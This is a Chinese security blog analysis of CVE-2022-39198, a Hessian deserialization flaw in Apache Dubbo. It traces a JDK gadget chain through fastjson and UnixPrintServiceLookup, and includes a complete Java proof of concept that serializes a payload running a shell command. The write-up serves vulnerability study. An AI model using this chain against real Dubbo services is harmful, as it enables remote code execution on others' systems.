CVE-2022-39198 Apache Dubbo Hession Deserialization分析

admin 2023年1月3日12:12:24评论27 views字数 5582阅读18分36秒阅读模式

出品|先知社区(ID:LeeH)



声明

以下内容,来自先知社区的LeeH作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。



CVE-2022-39198

影响

2.7.x < version < 2.7.18

3.0.x < version < 3.0.12

3.1.x < version <= 3.1.0



漏洞描述

我们可以看看在apache通告中对漏洞的简单的描述

CVE-2022-39198 Apache Dubbo Hession Deserialization分析

很明显,从这个漏洞描述中,我们能够明白这个CVE的造成主要是因为dubbo中内置的hessian项目,主要是因为在hessian-lite中的3.2.12及以前版本中存在有这个漏洞

来看看是因为哪里造成了这个漏洞,以至于能够RCE,我们看看github的diff
https://github.com/apache/dubbo-hessian-lite/commit/5727b36a3cdc428baeef7ee03b131905e39be8ad
主要的更改是在resources/DENY_CLASS文件中
这个文件中,是这个项目维护的一个黑名单
从这次的修复中,多新增了好几个黑名单包名

CVE-2022-39198 Apache Dubbo Hession Deserialization分析

org.apache.commons.codec.
org.aspectj.
org.dom4j
org.junit.
org.mockito.
org.thymeleaf.
ognl.
sun.print.
有很多,但是在其中只是存在有一个存在于JDK中的包名,即为sun.print.,这里仅是主要探讨有关于JDK中的利用链进行学习
对于其他的包名的的利用链,之后我将会通过自动化工具的方式进行挖掘探索



漏洞回顾

要想要知道能够利用的恶意类到底是哪一个,我们需要明白hessian需要触发什么才能导致漏洞的利用

如果曾经进过hessian以前的其他链子,你会发现,大多数的链子都是通过使用HashMap/Hash-Set/HashTable等类来触发equals/compareTo等等方法来进行接下来的调用
而其中,marshal项目中存在有多个通过调用XString#equals方法的方式CVE-2022-39198 Apache Dubbo Hession Deserialization分析进而调用到其他类的toString方法进行接下来的调用



漏洞分析

CVE-2021-25641这个CVE中存在的一条利用链是通过fastjson库的JSONObject#toString方法来进行反序列化操作,而在一起反序列化的过程中将会调用反序列化类的任意getter方法,当时是直接通过触发了TemplatesImpl#getOutputProperties方法来进行利用的

而我们这里,也朝着这样的思路走,我们需要在sun.print.包下,找到一个类的getter方法能够进行漏洞的触发,那个就是我们想要的漏洞点
有关于这个类的利用,之前在跳跳糖中就存在https://tttang.com/archive/1510/
在上面这篇文章中有所提及

CVE-2022-39198 Apache Dubbo Hession Deserialization分析我们跟进一下这种利用方式,我们这里选用的环境是单独的一个dubbo依赖的环境(2.7.16版本)CVE-2022-39198 Apache Dubbo Hession Deserialization分析沿用以前的思路,通过dubbo库依赖的fastjson库,进行任意getter方法的调用,进行调用上图中的getDefaultPrintService方法进行利用

首先我贴一下到XString#equals方法调用JSONObject#toString方法的调用栈
toString:1071, JSON (com.alibaba.fastjson)equals:392, XString (com.sun.org.apache.xpath.internal.objects)equals:495, AbstractMap (java.util)putVal:635, HashMap (java.util)put:612, HashMap (java.util)doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)readObject:2733, Hessian2Input (com.alibaba.com.caucho.hessian.io)readObject:2308, Hessian2Input (com.alibaba.com.caucho.hessian.io)
之后来看看JSONObject#toString这条链子CVE-2022-39198 Apache Dubbo Hession Deserialization分析这图是XString#equals方法中的代码,其中我们是通过HashMap反序列化的方法,进行元素之间的equals法的调用,这里obj2数,只有是一个JSONObject对象,才会调用其toString方法
因为JSONObject类中没有toString方法,所以只能够调用其父类JSON类的toString方法进行调用CVE-2022-39198 Apache Dubbo Hession Deserialization分析
在这个toString方法中,调用了相同类的toJSONString方法CVE-2022-39198 Apache Dubbo Hession Deserialization分析这里,将会对我们的JSONObject对象进行反序列化操作,部分的调用栈为
write:-1, ASMSerializer_1_UnixPrintServiceLookup (com.alibaba.fastjson.serializer)write:271, MapSerializer (com.alibaba.fastjson.serializer)write:44, MapSerializer (com.alibaba.fastjson.serializer)write:312, JSONSerializer (com.alibaba.fastjson.serializer)toJSONString:1077, JSON (com.alibaba.fastjson)
我们前面通过fastjson反序列化的学习,也知道在其反序列化的过程中,将会导致任意getter方法的调用,所以自然能够调用到我们想要的UnixPrintServiceLookup#getDefaultPrintService方法CVE-2022-39198 Apache Dubbo Hession Deserialization分析在这个方法中,主要是获取默认的打印服务相同的操作,首先在其中的一个if语句中
if (CUPSPrinter.isCupsRunning())
我们如果想要利用,需要保证不会满足这个条件

CVE-2022-39198 Apache Dubbo Hession Deserialization分析并且操作系统不能够使MAC OS和SUN OSCVE-2022-39198 Apache Dubbo Hession Deserialization分析如果能够满足我们上面的条件,我们将会进一步调

用到getDefaultPrinterNameBSD方法中CVE-2022-39198 Apache Dubbo Hession Deserialization分析这里,将会将lpcFirstCom属性中的值传入exeCmd

方法中进行调用CVE-2022-39198 Apache Dubbo Hession Deserialization分析而在该方法中,将会将命令拼接在/bin/sh / /usr/bin/sh这两个环境进行执行

之后会通过调用run方法来执行命令
因为在run方法中是存在有Runtime.getRuntime().exec()方法进行执行的,所以能够RCECVE-2022-39198 Apache Dubbo Hession Deserialization分析



POC

public class Test {    public static void setFieldValue(Object obj, String filedName, Object value) throws NoSuchFieldException, IllegalAccessException {        Field declaredField = obj.getClass().getDeclaredField(filedName);        declaredField.setAccessible(true);        declaredField.set(obj, value);    }    public static void main(String[] args) {        try {            //需要执行的命令            String cmd = "touch /tmp/test";            Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");            theUnsafe.setAccessible(true);            Unsafe unsafe = (Unsafe) theUnsafe.get(null);            Object unixPrintServiceLookup = unsafe.allocateInstance(UnixPrintServiceLookup.class);            //绕过getDefaultPrinterNameBSD中的限制            //设置属性            setFieldValue(unixPrintServiceLookup, "cmdIndex", 0);            setFieldValue(unixPrintServiceLookup, "osname", "xx");            setFieldValue(unixPrintServiceLookup, "lpcFirstCom", new String[]{cmd, cmd, cmd});            //封装一个JSONObject对象调用getter方法            JSONObject jsonObject = new JSONObject();            jsonObject.put("xx", unixPrintServiceLookup);            //使用XString类调用toString方法            XString xString = new XString("xx");            HashMap map1 = new HashMap();            HashMap map2 = new HashMap();            map1.put("yy",jsonObject);            map1.put("zZ",xString);            map2.put("yy",xString);            map2.put("zZ",jsonObject);
HashMap s = new HashMap(); setFieldValue(s, "size", 2); Class nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);            nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, map1, map1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, map2, map2, null));            setFieldValue(s, "table", tbl); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); Hessian2Output hessianOutput = new Hessian2Output(byteArrayOutputStream); hessianOutput.setSerializerFactory(new SerializerFactory()); hessianOutput.getSerializerFactory().setAllowNonSerializable(true); hessianOutput.writeObject(s);            hessianOutput.flushBuffer(); System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray())); }catch (Exception e) { e.printStackTrace(); } }}



利用

我这里使用的是自己使用docker搭建的一个带有hessian反序列化环境且仅依赖dubbo库的环境

我将上面的POC得到的序列化数据编码后的base64字符串进行发送

CVE-2022-39198 Apache Dubbo Hession Deserialization分析在docker环境中,成功创建了/tmp/test这个空文件



总结

这里不仅可以通过从getDefaultPrintService这个getter方法中进行漏洞的触发

同样也能够在其他的getter方法中进行漏洞的触发,因为毕竟fastjson的反序列化过程调用的所有的getter方法,比如说是也可以从getPrintServices方法中开始进行利用CVE-2022-39198 Apache Dubbo Hession Deserialization分析

当然,还有其他的getter方法

这里只是提及了这个CVE的JDK中的利用链,其他的利用链需要依赖其他的库,后面将会进行挖掘依赖中的getter利用



参考

  1. https://github.com/apache/dubbo-hessian-lite/commit/5727b36a3cdc428baeef7ee03b131905e39be8ad

  2. https://lists.apache.org/thread/8d3zqrkoy4jh8dy37j4rd7g9jodzlvkk
  3. https://pupil857.github.io/2022/12/08/NCTF2022%E5%87%BA%E9%A2%98%E5%B0%8F%E8%AE%B0/
  4. https://tttang.com/archive/1510/


CVE-2022-39198 Apache Dubbo Hession Deserialization分析
CVE-2022-39198 Apache Dubbo Hession Deserialization分析
CVE-2022-39198 Apache Dubbo Hession Deserialization分析

▇ 扫码关注我们 ▇

长白山攻防实验室

学习最新技术知识


原文始发于微信公众号(长白山攻防实验室):CVE-2022-39198 Apache Dubbo Hession Deserialization分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月3日12:12:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2022-39198 Apache Dubbo Hession Deserialization分析http://cn-sec.com/archives/1485977.html

发表评论

匿名网友 填写信息